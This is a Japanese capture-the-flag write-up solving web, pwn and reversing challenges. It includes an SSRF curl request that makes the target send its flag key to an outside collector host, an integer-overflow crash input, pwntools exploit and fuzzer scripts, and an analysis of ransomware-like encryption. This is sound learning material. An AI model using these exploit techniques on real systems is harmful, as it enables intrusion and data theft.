  • curl 'http://localhost:3000/search?user=\\asdf' を試すと、Internal Server Errorが返りました。その際、Docker実行ログに次の内容がありました:
frontend-1     | TypeError: error sending request for url (http://asdf/?apiKey=IERAE{dummy}): client error (Connect): dns error: failed to lookup address information: Name or service not known: failed to lookup address information: Name or service not known
frontend-1     |     at async mainFetch (ext:deno_fetch/26_fetch.js:170:12)
frontend-1     |     at async fetch (ext:deno_fetch/26_fetch.js:392:7)
frontend-1     |     at async searchUser (file:///app/frontend.ts:9:10)
frontend-1     |     at async handler (file:///app/frontend.ts:17:14)
frontend-1     |     at async ext:deno_http/00_serve.ts:369:18
  • ↑の結果を見て、もしやと思ってcurl 'http://localhost:3000/search?user=\\example.com'を試すと、example.comページ内容を取得できました。frontend.tsでのSSRFに成功しました!

frontend.tsapiKeyパラメーターとしてフラグ内容を付与したリクエストを送信するため、後はHTTPリクエストを受けるサーバーを準備する必要があります。今回はrequestrepo.comを使いました。

curl 'http://198.51.100.1:3000/search?user=\\hostname.requestrepo.com' を実行して、requestrepo.comページを確認すると、リクエストが届いていてフラグを入手できました: IERAE{yey!you_got_a_web_warmup_flag!}

[pwn, warmup] This is warmup (193 teams solves, 48 points)

Trust me. If this problem is too difficult for you, I don't mind you burying me in the ground!

nc (接続先IPアドレス省略) 5002

「ババーン」という効果音が頭をよぎる問題文です。配布ファイルとして、問題本体のchalと、元ソースのchal.cなどがありました:

$ file *
Dockerfile:         ASCII text
chal:               ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=01dc680a2bcd97cb45c3c7abc12be131c67ccf25, for GNU/Linux 3.2.0, not stripped
chal.c:             C source, ASCII text
docker-compose.yml: ASCII text
flag.txt:           ASCII text
$

chal.cは次の内容でした:

// gcc chal.c -o chal

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>

void win(int sig) {
  char flag[128] = {};

  puts("Well done!");
  system("cat ./flag*");
  exit(0);
}

int main() {
  // If you cause SEGV, then you will get flag
  signal(SIGSEGV, win);
  setbuf(stdout, NULL);

  unsigned long long int nrow, ncol;

  printf("Enter number of rows: ");
  scanf("%llu", &nrow);

  printf("Enter number of cols: ");
  scanf("%llu", &ncol);

  if (nrow * ncol < nrow) { // this is integer overflow right?
    puts("Don't hack!");
    exit(1);
  }

  char *matrix = malloc(nrow*ncol);
  if (!matrix) {
    puts("Too large!");
    exit(1);
  }

  for (unsigned long long int i=0; i<nrow; i++) {
    for (unsigned long long int j=0; j<ncol; j++) {
      matrix[i*ncol+j] = (i+j) % 2;
    }
  }

  puts("I made Ichimatsu design for you!");
  for (unsigned long long int i=0; i<nrow; i++) {
    for (unsigned long long int j=0; j<ncol; j++) {
      printf("%d ", matrix[i*ncol+j]);
    }
    puts("");
  }
}

signal(SIGSEGV, win);で、セグメンテーションフォルトが起こった場合にwin関数を実行するよう設定しています。その後の処理を見ると、if (nrow * ncol < nrow)でのオーバーフローチェックに抜けがありそうです。例えばnrowに小さな値を指定すると、オーバーフローしてもnrow * ncol >= nrowとなってチェックを抜けられそうです。

nrowncolunsigned long long int型なので、64-bit ELFでは符号なし64-bit整数のはずです。手元のIPythonで実験しました:

In [9]: x = 2**64

In [10]: x // 5
Out[10]: 3689348814741910323

In [11]: (5 * (3689348814741910323 + 4)) % x
Out[11]: 19

nc接続してこの入力を与えました:

$ nc 198.51.100.1 5002
Enter number of rows: 5
Enter number of cols: 3689348814741910327
Well done!
IERAE{s33?n07_41w4y5_1_cr3a73_d1ff1cu1t_pr0b13m5}
$

フラグを入手できました: IERAE{s33?n07_41w4y5_1_cr3a73_d1ff1cu1t_pr0b13m5}

[pwn, easy] Command Recorder (11 teams solves, 315 points)

This tool enables you to record and execute command sequences!

nc (接続先IPアドレス省略) 5000

配布ファイルとして、問題本体のchalと、元ソースのchal.cがありました:

$ file *
Dockerfile:         ASCII text
chal:               ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1db4889fc9bdfa5fb6f3616f0f0ee98912f63d42, for GNU/Linux 3.2.0, not stripped
chal.c:             C source, ASCII text
docker-compose.yml: ASCII text
flag.txt:           ASCII text
$

chal.cは次の内容でした:

// gcc chal.c -o chal

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void win(void) {
  char flag[128] = {};

  puts("Well done!");
  system("cat ./flag*");
  exit(0);
}

void show_menu(void) {
  puts("1. Push command to the end of sequence");
  puts("2. Pop command from sequence");
  puts("3. Execute command sequence");
  puts("4. Clear command sequence");
  puts("5. Show command sequence");
  puts("6. Exit");
  printf("Enter command: ");
}

#define BUF_SIZE 1024
char input_buf[BUF_SIZE+1];

char* read_str(void) {
  fgets(input_buf, BUF_SIZE+1, stdin);

  // Remove '\n'
  char *newline_ptr = strrchr(input_buf, '\n');
  if (newline_ptr) *newline_ptr = '\0';

  return input_buf;
}

int read_int(void) {
  return atoi(read_str());
}

int cur_idx;
char sequence_buf[BUF_SIZE+1];
void push_command(void) {
  puts("1. cat_flag");
  puts("2. whoami");
  puts("3. id");
  puts("4. echo");
  printf("Enter command: ");

  int idx = read_int();
  switch (idx) {
  case 1:
    puts("This command is only for admin. Sorry!");
    break;
  case 2:
    if (cur_idx+7 > BUF_SIZE) {
      puts("Error: sequence is full");
      break;
    }

    memcpy(&sequence_buf[cur_idx], "whoami\n", 7);
    cur_idx += 7;
    sequence_buf[cur_idx] = '\0';

    break;
  case 3:
    if (cur_idx+3 > BUF_SIZE) {
      puts("Error: sequence is full");
      break;
    }

    memcpy(&sequence_buf[cur_idx], "id\n", 3);
    cur_idx += 3;
    sequence_buf[cur_idx] = '\0';

    break;
  case 4:
    if (cur_idx+32 > BUF_SIZE) {
      puts("Error: sequence is full");
      break;
    }

    printf("Enter argument: ");
    char *arg = read_str();

    if (strchr(arg, '\n')) {
      puts("Don't try to hack, hacker!");
      break;
    }

    int arg_len = strlen(arg);
    if (arg_len > 26) arg_len = 26;

    char echo_with_arg[32];
    echo_with_arg[31] = '\n';
    memset(echo_with_arg, ' ', 31);
    memcpy(echo_with_arg, "echo ", 5);
    memcpy(echo_with_arg+5, arg, arg_len);

    memcpy(&sequence_buf[cur_idx], echo_with_arg, 32);
    cur_idx += 32;
    sequence_buf[cur_idx] = '\0';

    break;
  default:
    puts("Invalid command");
  }
}

void pop_command(void) {
  printf("Enter index to remove: ");

  int idx = read_int();
  if (idx < 0) {
    puts("Invalid index");
    return;
  }

  char *cur_line = sequence_buf;

  while (cur_line < &sequence_buf[cur_idx]) {
    char *ptr = strchr(cur_line, '\n');
    if (!ptr) {
      // there must be newline at the end of buffer
      puts("Something went wrong...");
      exit(1);
    }

    if (idx == 0) {
      // remove one line (i.e., cur_line ~ ptr)
      // to remove the command
      strcpy(cur_line, ptr+1);
      cur_idx = strlen(sequence_buf);
      return;
    }

    cur_line = ptr+1;
    idx--;
  }

  puts("Invalid index");
  return;
}

void execute_sequence(void) {
  char *cur_line = sequence_buf;

  while (cur_line < &sequence_buf[cur_idx]) {
    char *ptr = strchr(cur_line, '\n');
    if (!ptr) {
      // there must be newline at the end of buffer
      puts("Something went wrong...");
      exit(1);
    }

    if (strncmp(cur_line, "cat_flag\n", 9) == 0) {
      win();
    } else if (strncmp(cur_line, "whoami\n", 7) == 0) {
      system("whoami");
    } else if (strncmp(cur_line, "id\n", 3) == 0) {
      system("id");
    } else if (strncmp(cur_line, "echo ", 5) == 0) {
      *ptr = '\0';
      puts(cur_line+5);
      *ptr = '\n';
    }

    cur_line = ptr+1;
  }
}

void clear_sequence(void) {
  sequence_buf[0] = '\0';
  cur_idx = 0;
}

void show_sequence(void) {
  puts("Current sequence:");
  puts("===============================");
  printf("%s", sequence_buf);
  puts("===============================");
}

int main() {
  setbuf(stdout, NULL);

  while (1) {
    show_menu();

    int cmd = read_int();
    if (cmd == 6) break;

    switch (cmd) {
    case 1:
      push_command();
      break;
    case 2:
      pop_command();
      break;
    case 3:
      execute_sequence();
      break;
    case 4:
      clear_sequence();
      break;
    case 5:
      show_sequence();
      break;
    }
  }

  return 0;
}

長いですが、次のことを行っています:

  • push_command()では、次の3個のいずれかをバッファへ追加できます(cat_flagはadmin専用とのことで追加できません)。
    • "whoami\n"
    • "id\n"
    • "echo ", 入力値またはスペース 合計必ず26文字 の文字列, "\n"」の結合結果
      • 入力値に"\n"は含められません
  • pop_command()では指定位置のコマンドを削除するとあります。ただ何かと怪しい不安な処理です。
  • execute_sequence()実行時に、バッファ中に"cat_flag\n"行があればフラグを表示してくれます。
  • clear_sequence()でバッファの使用済みindexを0に戻したり、show_sequence()でバッファ内容を表示できたりします。

pop_command()での削除処理が見るからに怪しいので手動で適当に試していると、削除時に文字の重複が表れることが分かりました:

Enter command: 5
Current sequence:
===============================
whoami
whoami
whoami
whoami
whoami
id
id
id
===============================
1. Push command to the end of sequence
2. Pop command from sequence
3. Execute command sequence
4. Clear command sequence
5. Show command sequence
6. Exit
Enter command: 2
Enter index to remove: 0
1. Push command to the end of sequence
2. Pop command from sequence
3. Execute command sequence
4. Clear command sequence
5. Show command sequence
6. Exit
Enter command: 5
Current sequence:
===============================
whoami
whoami
whoami
id
imi
id
id
id
===============================
1. Push command to the end of sequence
2. Pop command from sequence
3. Execute command sequence
4. Clear command sequence
5. Show command sequence
6. Exit
Enter command:

上記の例では、imiという行が現れています。

この現象が発生する理由は、pop_command()中で行削除として呼び出しているstrcpy関数についてstrcpy, strcpy_s - cppreference.comを見るとThe behavior is undefined if the strings overlap.とあるためだと思います。おそらくstrcpy関数は重複がないことを前提にSIMD命令等で高速化されていて、その都合で重複する領域を渡すとバッファ内容が変になるのだと思います。

さて、後はどうにかして、echoコマンド用の任意文字入力や上記の現象を使ってcat_flag行を生成する必要があります。ただ人力で調整するのが大分大変そうに思ったので、ファジングで探すことにしました。試行錯誤した後のファザーです:

#!/usr/bin/env python

import random

import pwn
import tqdm


def fuzz(io: pwn.tube) -> list[int] | None:
    BUF_SIZE = 1024
    total = 0

    def push_command_whoami():
        nonlocal total
        if total + 7 >= BUF_SIZE:
            return
        io.sendlineafter(b"Enter command: ", b"1")
        io.sendlineafter(b"Enter command: ", b"2")
        total += 7

    def push_command_id():
        nonlocal total
        if total + 3 >= BUF_SIZE:
            return
        io.sendlineafter(b"Enter command: ", b"1")
        io.sendlineafter(b"Enter command: ", b"3")
        total += 3

    def push_command_echo(message: bytes):
        nonlocal total
        if total + 32 >= BUF_SIZE:
            return
        io.sendlineafter(b"Enter command: ", b"1")
        io.sendlineafter(b"Enter command: ", b"4")
        io.sendlineafter(b"Enter argument: ", message)
        total += 32

    def pop_command(index: int):
        io.sendlineafter(b"Enter command: ", b"2")
        io.sendlineafter(b"Enter index to remove: ", str(index).encode())

    def execute_sequence():
        io.sendlineafter(b"Enter command: ", b"3")

    def clear_sequence():
        io.sendlineafter(b"Enter command: ", b"4")

    def show_sequence() -> str:
        io.sendlineafter(b"Enter command: ", b"5")
        separetor = b"==============================="
        io.recvuntil(separetor)
        content = io.recvuntil(separetor)
        return (separetor + content).decode()

    COUNT = 40
    result = []
    for i in range(COUNT):
        command = random.randint(0, 11)
        if i == COUNT - 1:
            command = 11  # 最後はpopして状態確認
        result.append(command)
        if 0 <= command <= 2:
            payload = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
            push_command_echo(payload)  # 空白文字を入れさせない
        elif 3 <= command <= 5:
            push_command_whoami()
        elif 6 <= command <= 9:
            push_command_id()
        elif command == 10:
            clear_sequence()
        else:
            pop_command(0)
            seq = show_sequence()
            if any(
                map(lambda line: len(line) == 8 and line.isupper(), seq.splitlines())
            ):
                print(seq)
                print(result)
                return result
    return None


pwn.context.log_level = "CRITICAL"
for i in tqdm.trange(1000, leave=False):
    with pwn.remote("localhost", 5000) as io:
        try:
            if fuzz(io):
                exit()
        except EOFError:
            pass

実行していると、次の出力が得られました:

$ ./fuzz.py
 63%|██████████████████████████████████████████████████████████████████████████████████████████████████████████▉                                                              | 633/1000 [05:52<03:55,  1.56it/s]===============================
YZ
whoami
id
whoami
whoami
whoami
iMNOPQRSTUVWXYZ
echo ABCDEFGHIJKLMNOPQRSTUVWXYZ
whoami
id
id
whoami
STUVWXYZ
whoami
id
id
whoami
===============================
[8, 0, 4, 8, 7, 10, 9, 5, 0, 8, 8, 10, 6, 2, 5, 11, 6, 4, 3, 4, 6, 4, 9, 0, 2, 4, 8, 8, 5, 11]

echo用に与えた入力だけからなるSTUVWXYZ行を生成できています!あとはSTUVWXYZ文字列をcat_flagへ変更すれば、フラグを得られそうです。ファザーを変更してソルバーを書きました:

#!/usr/bin/env python


import pwn


def solve(io: pwn.tube):
    def push_command_whoami():
        io.sendlineafter(b"Enter command: ", b"1")
        io.sendlineafter(b"Enter command: ", b"2")

    def push_command_id():
        io.sendlineafter(b"Enter command: ", b"1")
        io.sendlineafter(b"Enter command: ", b"3")

    def push_command_echo(message: bytes):
        io.sendlineafter(b"Enter command: ", b"1")
        io.sendlineafter(b"Enter command: ", b"4")
        io.sendlineafter(b"Enter argument: ", message)

    def pop_command(index: int):
        io.sendlineafter(b"Enter command: ", b"2")
        io.sendlineafter(b"Enter index to remove: ", str(index).encode())

    def execute_sequence():
        io.sendlineafter(b"Enter command: ", b"3")

    def clear_sequence():
        io.sendlineafter(b"Enter command: ", b"4")

    def show_sequence() -> str:
        io.sendlineafter(b"Enter command: ", b"5")
        separetor = b"==============================="
        io.recvuntil(separetor)
        content = io.recvuntil(separetor)
        return (separetor + content).decode()

    # fmt: off
    fuzz_result = [8, 0, 4, 8, 7, 10, 9, 5, 0, 8, 8, 10, 6, 2, 5, 11, 6, 4, 3, 4, 6, 4, 9, 0, 2, 4, 8, 8, 5, 11]
    # fmt: on
    for command in fuzz_result:
        if 0 <= command <= 2:
            payload = b"ABCDEFGHIJKLMNOPQRcat_flag"  # STUVWXYZだけの行ができた
            push_command_echo(payload)  # 空白文字を入れさせない
        elif 3 <= command <= 5:
            push_command_whoami()
        elif 6 <= command <= 9:
            push_command_id()
        elif command == 10:
            clear_sequence()
        else:
            pop_command(0)
            # seq = show_sequence()
            # print(seq)

    seq = show_sequence()
    print(seq)
    execute_sequence()
    io.interactive("")  # 最後にCtrl+Cで終わらせてください


# with pwn.remote("localhost", 5000) as io:
#     solve(io)
with pwn.remote("198.51.100.1", 5000) as io:
    solve(io)

実行しました:

$ ./solve.py
[+] Opening connection to 198.51.100.1 on port 5000: Done
===============================
ag
whoami
id
whoami
whoami
whoami
iMNOPQRcat_flag
echo ABCDEFGHIJKLMNOPQRcat_flag
whoami
id
id
whoami
cat_flag
whoami
id
id
whoami
===============================
[*] Switching to interactive mode
ubuntu
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)
ubuntu
ubuntu
ubuntu
ABCDEFGHIJKLMNOPQRcat_flag
ubuntu
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)
ubuntu
Well done!
IERAE{wh47_A_c01ncid3nc3_f3e9202f}
[*] Got EOF while reading in interactive

[*] Interrupted
[*] Closed connection to 198.51.100.1 port 5000

フラグを入手できました: IERAE{wh47_A_c01ncid3nc3_f3e9202f}

[rev, warmup] Assignment (127 teams solves, 140 points)

Assignment is the root of everything in procedural programs.

配布ファイルとして、chalがありました:

$ file *
chal: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=90b9886d7904d3183e76364bcfc755e89d235a46, for GNU/Linux 3.2.0, not stripped
$

IDAで開いて逆コンパイルすると、最初から次の表示でした:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  qmemcpy(&flag, "IERAE{s0me_r4nd0m_str1ng_5a9354c}", 33);
  if ( argc > 1 && !strcmp(&flag, argv[1]) )
    puts(&flag);
  return 0;
}

フラグを入手できました: IERAE{s0me_r4nd0m_str1ng_5a9354c}

本記事を書く際にBinaryNinjaでも試してみると、BinaryNinjaの逆コンパイル結果でも最初からフラグが表示されました:

00001149  int32_t main(int32_t argc, char** argv, char** envp)
000011e4      __builtin_strncpy(dest: &flag, src: "IERAE{s0me_r4nd0m_str1ng_5a9354c}", n: 0x21)
00001243      if (argc s> 1 && strcmp(&flag, argv[1]) == 0)
00001270          puts(str: &flag)
0000127b      return 0

ちなみに逆アセンブル表示でもともとの処理を確認すると、次のようにランダム順序で1文字ずつ構築するものでした:

.text:0000000000001158 mov     cs:byte_405C, 33h ; '3'
.text:000000000000115F mov     cs:byte_4041, 45h ; 'E'
.text:0000000000001166 mov     cs:byte_4042, 52h ; 'R'
.text:000000000000116D mov     cs:byte_4054, 72h ; 'r'
.text:0000000000001174 mov     cs:byte_405A, 61h ; 'a'
.text:000000000000117B mov     cs:byte_404A, 5Fh ; '_'
.text:0000000000001182 mov     cs:byte_4060, 7Dh ; '}'
.text:0000000000001189 mov     cs:byte_4049, 65h ; 'e'
.text:0000000000001190 mov     cs:byte_4056, 6Eh ; 'n'
.text:0000000000001197 mov     cs:byte_4051, 5Fh ; '_'
.text:000000000000119E mov     cs:byte_4046, 73h ; 's'
.text:00000000000011A5 mov     cs:byte_4047, 30h ; '0'
.text:00000000000011AC mov     cs:byte_404F, 30h ; '0'
.text:00000000000011B3 mov     cs:byte_4050, 6Dh ; 'm'
.text:00000000000011BA mov     cs:byte_4055, 31h ; '1'
.text:00000000000011C1 mov     cs:byte_4058, 5Fh ; '_'
.text:00000000000011C8 mov     cs:byte_404C, 34h ; '4'
.text:00000000000011CF mov     cs:byte_4059, 35h ; '5'
.text:00000000000011D6 mov     cs:byte_405F, 63h ; 'c'
.text:00000000000011DD mov     cs:byte_4043, 41h ; 'A'
.text:00000000000011E4 mov     cs:flag, 49h ; 'I'
.text:00000000000011EB mov     cs:byte_405D, 35h ; '5'
.text:00000000000011F2 mov     cs:byte_4052, 73h ; 's'
.text:00000000000011F9 mov     cs:byte_4053, 74h ; 't'
.text:0000000000001200 mov     cs:byte_404B, 72h ; 'r'
.text:0000000000001207 mov     cs:byte_4048, 6Dh ; 'm'
.text:000000000000120E mov     cs:byte_4045, 7Bh ; '{'
.text:0000000000001215 mov     cs:byte_4044, 45h ; 'E'
.text:000000000000121C mov     cs:byte_405B, 39h ; '9'
.text:0000000000001223 mov     cs:byte_405E, 34h ; '4'
.text:000000000000122A mov     cs:byte_4057, 67h ; 'g'
.text:0000000000001231 mov     cs:byte_404D, 6Eh ; 'n'
.text:0000000000001238 mov     cs:byte_404E, 64h ; 'd'

逆コンパイラの最適化が賢いです!

[rev, was_warmup, easy] Luz Da Lua (86 teams solves, 159 points)

The luac file is compiled and tested on Lua 5.4.7

lua LuzDaLua.luac

配布ファイルとして、LuzDaLua.luacがありました:

$ file *
LuzDaLua.luac: Lua bytecode, version 5.4
$

とりあえずヘキサエディターで眺めましたが、フラグエスパーは無理そうでした。"Lua bytecode" decompileでGoogle検索するとLua Decompilerを見つけたので、問題ファイルを投げてみました:

いい感じに逆コンパイルしてくれていそうです。最初に入力文字数を検証した後、先頭の文字から順に正誤判定をしているようです。

Luaにおける~演算子と~=演算子を調べると、Lua 5.4 Reference Manual~演算子はxor演算、~=演算子はinequalityの意味と分かりました。後は逆コンパイル結果から正解となる入力を導出するソルバーを書きました:

#!/usr/bin/env python3

import re

f = """
-- filename: @/mnt/LuzDaLua.lua
-- version: lua54
-- line: [0, 0] id: 0
io.write("Input > ")
input = io.read("*l")
if string.len(input) ~= 28 then
  goto label_301
elseif string.byte(input, 1) ~ 232 ~= 161 then
  goto label_301
elseif string.byte(input, 2) ~ 110 ~= 43 then
  goto label_301
elseif string.byte(input, 3) ~ 178 ~= 224 then
  goto label_301
elseif string.byte(input, 4) ~ 172 ~= 237 then
  goto label_301
elseif string.byte(input, 5) ~ 212 ~= 145 then
  goto label_301
elseif string.byte(input, 6) ~ 25 ~= 98 then
  goto label_301
elseif string.byte(input, 7) ~ 53 ~= 121 then
  goto label_301
elseif string.byte(input, 8) ~ 63 ~= 74 then
  goto label_301
elseif string.byte(input, 9) ~ 135 ~= 230 then
  goto label_301
elseif string.byte(input, 10) ~ 92 ~= 3 then
  goto label_301
elseif string.byte(input, 11) ~ 38 ~= 23 then
  goto label_301
elseif string.byte(input, 12) ~ 250 ~= 137 then
  goto label_301
elseif string.byte(input, 13) ~ 216 ~= 135 then
  goto label_301
elseif string.byte(input, 14) ~ 5 ~= 86 then
  goto label_301
elseif string.byte(input, 15) ~ 69 ~= 117 then
  goto label_301
elseif string.byte(input, 16) ~ 226 ~= 189 then
  goto label_301
elseif string.byte(input, 17) ~ 137 ~= 186 then
  goto label_301
elseif string.byte(input, 18) ~ 148 ~= 240 then
  goto label_301
elseif string.byte(input, 19) ~ 64 ~= 53 then
  goto label_301
elseif string.byte(input, 20) ~ 130 ~= 225 then
  goto label_301
elseif string.byte(input, 21) ~ 241 ~= 197 then
  goto label_301
elseif string.byte(input, 22) ~ 151 ~= 227 then
  goto label_301
elseif string.byte(input, 23) ~ 203 ~= 250 then
  goto label_301
elseif string.byte(input, 24) ~ 179 ~= 220 then
  goto label_301
elseif string.byte(input, 25) ~ 216 ~= 182 then
  goto label_301
elseif string.byte(input, 26) ~ 101 ~= 4 then
  goto label_301
elseif string.byte(input, 27) ~ 238 ~= 130 then
  goto label_301
elseif string.byte(input, 28) ~ 61 ~= 64 then
  goto label_301
else
  print("Correct")
end
-- warn: not visited block [59]
-- block#59:
-- _ENV.print("Wrong")
"""

for line in f.splitlines():
    if not line.startswith("elseif"):
        continue
    # print(line)
    m = re.search(r"~ (\d+) ~= (\d+)", line)
    assert m
    x = m[1]
    y = m[2]
    print(chr(int(x) ^ int(y)), end="")
print()

実行しました:

$ ./solve.py
IERAE{Lua_1s_S0_3duc4t1onal}
$

フラグを入手できました: IERAE{Lua_1s_S0_3duc4t1onal}

[rev, easy] The Kudryavka Sequence (13 teams solves, 298 points)

The flag has been lost.

本問題の解析結果はGitHubで掲載しています

本コンテストでは、すべての問題について配布ファイルは.tar.gz形式で配布されています。本問題も同様でしたが、本問題の場合は展開結果がlaika.zipと更にアーカイブファイルになっていました。laika.zipを展開すると、各種ファイルがありました:

$ file *
flag.png.laika: data
laika.exe:      PE32+ executable (console) x86-64, for MS Windows, 6 sections
laika.zip:      Zip archive data, at least v2.0 to extract, compression method=deflate
statement.png:  PNG image data, 2388 x 1668, 8-bit/color RGBA, non-interlaced
$

処理内容読解

laika.exeをIDAで開いて、逆コンパイル結果などを頼りにひたすら読解していくと、次の処理を行っていることが分かりました:

  1. 140001410の関数で、flag.pngファイルを読み込み
  2. 1400016E0の関数で、flag.pngファイルを削除
  3. 1400018D0の関数で、リソースから取得した内容をstatement.pngファイルへ書き込み(これは配布ファイルへ含まれているものと同一です)
  4. 140001B12付近で、GetLocalTime関数で現在のローカル時刻を取得
  5. 140001BBC付近で、取得したローカル時刻を元に計算した値をsrand関数へ渡して乱数シードを設定
    • 具体的にはsrand(SystemTime.wMilliseconds + 131243 * (SystemTime.wSecond + 131243 * (SystemTime.wMinute + 131243 * (SystemTime.wHour + 131243 * (SystemTime.wDay + 131243 * (SystemTime.wDayOfWeek + 131243 * (SystemTime.wMonth + 131243 * (SystemTime.wYear + 131243))))))));のように指定
  6. 140001BE1付近で、rand関数を32回呼び出して、それぞれの結果下位1バイトをバッファへ格納(後で鍵として使います)
  7. 140001C22付近で、rand関数を16回呼び出して、それぞれの結果下位1バイトをバッファへ格納(後でIVとして使います)
  8. 1400010D0の関数で、Cryptography API: Next Generation系統の関数(BCryptから始まる名前の関数)を使って、flag.pngファイル内容をAES256-CBCで暗号化
  9. 140001650の関数で、AES256-CBC暗号化結果のバイト列を、rand関数を使いつつ要素位置を変換
  10. 140001CD5付近で、位置変換後の内容をflag.png.laikaファイルへ書き込み

変動要素はrand関数の戻り値だけです。そのため暗号化当時のsrand関数への引数を復元できればflag.png.laikaファイルを復号してflag.pngを得られそうです。そしてシード値はGetLocalTime関数の取得結果にのみ依存しています。

暗号化時の日時推測

さて、本問題の配布ファイルはlaika.zipのアーカイブファイルで提供されていると述べました。含まれているファイルのタイムスタンプが暗号化当時のまま残っている可能性がありそうです。私の普段使いの、タイムゾーン設定がAsia/Tokyoである環境、つまりUTC+9の環境で調査しました:

$ ls -AlF --full
total 2780
-rw-rw-rw- 1 tan tan  823488 2024-09-17 12:49:20.000000000 +0900 flag.png.laika
-rwxrwxrwx 1 tan tan  333824 2024-09-17 12:46:46.000000000 +0900 laika.exe*
-rwxr-xr-x 1 tan tan 1361221 2024-09-21 15:42:29.408591109 +0900 laika.zip*
-rw-rw-rw- 1 tan tan  317291 2024-09-17 12:49:20.000000000 +0900 statement.png
$

laika.exeは最初の方にstatement.pngファイルを書き込み、最後の方にflag.png.laikaファイルを書き込みます。2ファイルともタイムスタンプが2024-09-17 12:49:20であるため、そのあたりに暗号化されたと推測できます。一方でミリ秒要素は失われているようなので、探索する必要がありそうです。

→2024/09/25追記: Discordの問題での問題談義チャンネルで、ZIPファイルのextra-fieldについての話がありました。https://mdfs.net/Docs/Comp/Archiving/Zip/ExtraFieldにextra-fieldの定義があります。その中の、種類が0x5455つまりASCIIで"UT"であるExtended Timestamp Extra Fieldを使うと、1 January 1970 00:00:00からの秒数つまりUNIX時間で、かつUTCで日時を表現できるとのことです。その内容はzipinfo -v FILENAMEコマンドで確認できるとのことです。

試しに、Ubuntu環境のタイムゾーンをAmerica/New_Yorkへ変更しました。本記事執筆時では夏時間EDTであり、UTC-4です。その状態で、zipinfoコマンドを使って本問題の配布ファイルを確認しました:

$ timedatectl
               Local time: Tue 2024-09-24 13:59:49 EDT
           Universal time: Tue 2024-09-24 17:59:49 UTC
                 RTC time: Tue 2024-09-24 20:59:49
                Time zone: America/New_York (EDT, -0400)
System clock synchronized: yes
              NTP service: active
          RTC in local TZ: no
$ zipinfo --version 2>&1 | grep ZipInfo
ZipInfo 3.00 of 20 April 2009, by Greg Roelofs and the Info-ZIP group.
$ zipinfo -v laika.zip
Archive:  laika.zip
There is no zipfile comment.

End-of-central-directory record:
-------------------------------

  Zip archive file size:                   1361221 (000000000014C545h)
  Actual end-cent-dir record offset:       1361199 (000000000014C52Fh)
  Expected end-cent-dir record offset:     1361199 (000000000014C52Fh)
  (based on the length of the central directory and its expected offset)

  This zipfile constitutes the sole disk of a single-part archive; its
  central directory contains 3 entries.
  The central directory is 270 (000000000000010Eh) bytes long,
  and its (expected) offset in bytes from the beginning of the zipfile
  is 1360929 (000000000014C421h).


Central directory entry #1:
---------------------------
  (laika.exe分なので省略します)

Central directory entry #2:
---------------------------

  There are an extra 8 bytes preceding this file.

  statement.png

  offset of local header from start of archive:   272174
                                                  (000000000004272Eh) bytes
  file system or operating system of origin:      Unix
  version of encoding software:                   2.0
  minimum file system compatibility required:     MS-DOS, OS/2 or NT FAT
  minimum software version required to extract:   2.0
  compression method:                             deflated
  compression sub-type (deflation):               normal
  file security status:                           not encrypted
  extended local header:                          yes
  file last modified on (DOS date/time):          2024 Sep 17 12:49:20
  file last modified on (UT extra field modtime): 2024 Sep 16 23:49:20 local
  file last modified on (UT extra field modtime): 2024 Sep 17 03:49:20 UTC
  32-bit CRC value (hex):                         cacdee7a
  compressed size:                                264602 bytes
  uncompressed size:                              317291 bytes
  length of filename:                             13 characters
  length of extra field:                          32 bytes
  length of file comment:                         0 characters
  disk number on which file begins:               disk 1
  apparent file type:                             binary
  Unix file attributes (100666 octal):            -rw-rw-rw-
  MS-DOS file attributes (00 hex):                none

  The central-directory extra field contains:
  - A subfield with ID 0x5455 (universal time) and 13 data bytes.
    The local extra field has UTC/GMT modification/access/creation times.
  - A subfield with ID 0x7875 (Unix UID/GID (any size)) and 11 data bytes:
    01 04 00 00 00 00 04 00 00 00 00.

  There is no file comment.

Central directory entry #3:
---------------------------
  (flag.png.laika分ですが、statement.pngと同一日時表示なので省略します)

$

file last modified on (UT extra field modtime)行は2つあります。一方はextra-fieldsの定義通りのUTCです。もう一方のlocal表示行は、実行環境のタイムゾーンを反映するようです。Extended Timestamp Extra Fieldは秒単位の精度を持つため、UTC側の行を参照することで、statement.pngファイルとflag.png.laikaファイルは2024/09/17 03:49:20台に作成されたと分かりました。

また、file last modified on (DOS date/time)行を見ると、2024 Sep 17 12:49:20とあります。ZIPファイルの仕様書らしいhttps://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT4.4.6 date and time fields: (2 bytes each)を読んでもThe date and time are encoded in standard MS-DOS format.表現ぐらいのみであるため、当該フィールドがUTCなのかローカル日時なのかは分かりませんでした。とはいえzipinfoコマンド出力のfile last modified on (UT extra field modtime)UTC表示と比較するとDOS date/time行の日時は9時間進んでいるため、DOS date/time日時はローカル日時で保存されている可能性が高そうです。そのため、statement.pngファイルとflag.png.laikaファイルはUTC+9の環境で作成された可能性が高いと分かりました。

不安要素の調査

ファイルを復号するためには、作問者様がファイルを暗号化したときのsrand関数とrand関数による乱数列を再現する必要があります。開発環境や実行環境に依存している可能性が怖かったので調べると、rand関数のドキュメントThe rand function generates a well-known sequence and isn't appropriate for use as a cryptographic function.とありました。この書きぶりから、おそらく長い間同一の実装であり、手元環境でも乱数列を再現できると判断しました。

また、GetLocalTime functionの説明にある通り、GetLocalTime関数はローカル時刻を返します。もし作問者の方が異なるタイムゾーンで暗号化している場合は、上述のタイムスタンプとは異なる日時になる可能性があります。本コンテストの運営であるGMO Cybersecurity by Ierae, Inc.様は日本の会社であるため、おそらくUTC+9の環境で暗号化したと推測できますが、もしかしたらタイムゾーン探索が必要になるかもしれません。

